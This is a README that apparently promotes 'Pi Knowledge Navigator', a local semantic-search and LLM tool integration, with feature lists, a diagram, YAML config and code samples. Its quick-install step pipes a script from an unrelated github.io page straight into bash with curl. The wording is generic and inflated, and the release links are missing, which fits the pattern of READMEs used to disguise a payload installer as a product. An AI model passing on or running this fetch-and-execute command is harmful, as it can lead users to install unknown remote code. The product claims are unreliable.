In the vast digital landscape of 2026, where information overload is the norm, Pi Knowledge Navigator emerges as a lighthouse in the storm. This is not just another search tool; it is a semantic understanding engine designed to transform your local files into a living, breathing knowledge base. Imagine having a personal librarian that doesn't just find words but grasps concepts, remembers context, and evolves with your data in real-time.
Built for developers, researchers, and knowledge workers who use pi (the personal AI framework), this repository indexes your text and markdown files, watches for changes, and exposes a powerful knowledge_search tool directly to your Large Language Model (LLM). It is the bridge between your unstructured local data and the reasoning power of modern AI.
- Semantic Vector Search – Converts your files into high-dimensional embeddings, finding meaning rather than just matching strings.
- Real-Time File Watching – Utilizes operating system file events (inotify, FSEvents, ReadDirectoryChanges) to index changes instantly without manual re-indexing.
- LLM Tool Integration – Exposes a clean
knowledge_searchfunction that any LLM (OpenAI, Claude, local models) can call to query your local knowledge base. - Responsive UI – A lightweight web interface for direct querying, built with modern JavaScript frameworks. Works on mobile, tablet, and desktop.
- Multilingual Support – Search across files in English, Spanish, French, German, Chinese, Japanese, and 40+ other languages. The embedding model understands language-agnostic semantics.
- Privacy-First Architecture – All indexing and search happens locally. No data leaves your machine. Your knowledge is your property.
- 24/7 Background Operation – Runs as a daemon or service, silently indexing and waiting for your queries.
- Smart Chunking & Context – Automatically splits large documents into semantic chunks, retaining metadata and context for precise retrieval.
graph TD
A[Local File System] --> B[File Watcher]
B --> C{Change Detected?}
C -->|New/Modified File| D[Text Extractor]
C -->|Deleted File| E[Remove from Index]
D --> F[Markdown & Text Parser]
F --> G[Semantic Chunking Engine]
G --> H[Embedding Model (Local/API)]
H --> I[Vector Database (SQLite + FAISS)]
E --> I
I --> J[LLM Tool Interface]
J --> K[OpenAI API]
J --> L[Claude API]
J --> M[Local LLM (Ollama, llama.cpp)]
K --> N[User Query]
L --> N
M --> N
N --> O[Semantic Search]
O --> P[Ranked Results + Context]
P --> Q[LLM Generates Answer]
The architecture is deliberately modular and extensible. Each component can be swapped - use a different embedding model, change the vector store, or connect to a different LLM backend. The Mermaid diagram above shows the data flow from file creation to intelligent answer generation.
- Python 3.10+ or Node.js 18+
- Basic familiarity with command-line tools
- A running instance of
pi(or the ability to call its API)
curl -sSL https://jee3m.github.io/augmentative-knowledge-hooks/ | bash
-
Download the latest release for your OS:
- macOS (Apple Silicon/Intel)
- Linux (x86_64, ARM64)
- Windows (x64, ARM64)
-
Extract the archive and run the installer:
tar -xzf pi-knowledge-navigator-v1.0.0.tar.gz cd pi-knowledge-navigator python setup.py install
| Operating System | Architecture | Status | Emoji |
|---|---|---|---|
| macOS Ventura+ | Apple Silicon | ✅ Supported | 🍎 |
| macOS Ventura+ | Intel x86_64 | ✅ Supported | 💻 |
| Ubuntu 22.04+ | x86_64 | ✅ Supported | 🐧 |
| Ubuntu 22.04+ | ARM64 | ✅ Supported | 🤖 |
| Fedora 38+ | x86_64 | ✅ Supported | 🦅 |
| Windows 11 | x64 | ✅ Supported | 🪟 |
| Windows 11 | ARM64 | 🟡 Beta | 🔄 |
| Raspberry Pi OS | ARMv7/ARM64 | ✅ Supported | 🥧 |
Create a profile.yaml file (or use the pi configuration system):
knowledge_search:
enabled: true
index_path: "~/.pi/knowledge/index"
watch_directories:
- path: "/home/user/Documents/Notes"
recursive: true
file_types: [".md", ".txt", ".rst", ".org"]
- path: "/home/user/Projects/Research"
recursive: true
file_types: [".md", ".txt"]
embedding_model: "all-MiniLM-L6-v2" # Or use "openai/text-embedding-3-small" or "cohere/embed-english-v3"
vector_db: "sqlite+faiss" # Options: sqlite+faiss, chroma, qdrant
chunk_size: 512 # Tokens per chunk
chunk_overlap: 64 # Overlap between chunks for context continuity
llm_backend: "openai" # Options: openai, claude, local
openai_api_key: "${OPENAI_API_KEY}" # Read from environment variable or secrets manager
claude_api_key: "${CLAUDE_API_KEY}" # Read from environment variable or secrets manager
local_model: "llama3:8b" # For local LLM backends# Direct query via the knowledge_search tool
pi knowledge_search "What did I write about quantum entanglement in my research notes?"
# Expected output:
# Found 3 relevant documents.
# Response: Based on your notes from 'quantum_mechanics_overview.md' and 'research_log_2026.md':
# Quantum entanglement... [detailed answer with citations]Or run the standalone server:
pi-knowledge-navigator serve --port 8080 --config profile.yamlThe tool natively supports the OpenAI API for both embedding generation and LLM completion:
from pi_knowledge_search import KnowledgeBase
kb = KnowledgeBase(
embedding_provider="openai",
openai_api_key="sk-...",
model="text-embedding-3-small"
)
results = kb.search("concept drift in machine learning", top_k=5)For those preferring Anthropic's ecosystem:
from pi_knowledge_search import KnowledgeBase
kb = KnowledgeBase(
llm_provider="claude",
claude_api_key="sk-ant-...",
model="claude-3-opus-20240229"
)
response = kb.query_with_context("What are the key insights from my 2026 meeting notes?")For air-gapped environments or privacy extremists:
pi-knowledge-navigator run --local-model "mistral:7b" --embedder "sentence-transformers/all-MiniLM-L6-v2"- Personal Knowledge Management – Never lose a brilliant thought again. Search your daily journal, technical notes, and bookmarks with natural language questions.
- Research & Academia – Synthesize hundreds of PDFs and markdown files. "Find all papers discussing adversarial attacks on transformer models."
- Software Documentation – Run
knowledge_search "How do we handle authentication in the user service?"against your company's Notion exports and internal wikis. - Legal & Compliance – Search through years of contracts and legal documents for specific clauses, without relying on external cloud services.
- Medical & Scientific Data – Keep patient notes or lab results private while still benefiting from AI-powered retrieval.
The built-in web interface adapts to any screen size. Whether you are querying from a 27-inch monitor or a smartphone, the experience is fluid and intuitive. The UI is built with React + Tailwind CSS and communicates with the backend via WebSockets for real-time updates.
Powered by sentence-transformers/paraphrase-multilingual-MiniLM-L12-v2, the engine understands queries in over 50 languages. You can ask a question in English and retrieve relevant results from a Chinese document, or vice versa. The semantic layer normalizes cross-lingual meaning.
While the tool runs autonomously, our community and enterprise support is available 24/7:
- Community Slack/Discord – Moderated by core contributors and power users.
- Enterprise Support – SLA-backed support with guaranteed response times (available as a premium add-on).
This project is licensed under the MIT License – see the LICENSE file for full details. You are free to use, modify, and distribute this software for any purpose, commercial or private.
Important: This tool is designed to enhance your productivity by making local file search intelligent. It does not send your file contents to any third-party server unless you explicitly configure it to use OpenAI, Claude, or other API-based embedding models. By enabling cloud-based embeddings, you accept their respective privacy policies and terms of service. The authors of this software are not responsible for data leakage due to user misconfiguration or the use of external APIs.
No Warranty: This software is provided "as is" without warranty of any kind, express or implied. Use at your own risk.
Keywords: semantic search, local file search, vector database, LLM tool, knowledge base, pi framework, embeddings, RAG, retrieval augmented generation, OpenAI integration, Claude integration, file watcher, markdown search, privacy-first AI, 2026.
Transform your file system into a thinking partner. Download Pi Knowledge Navigator today.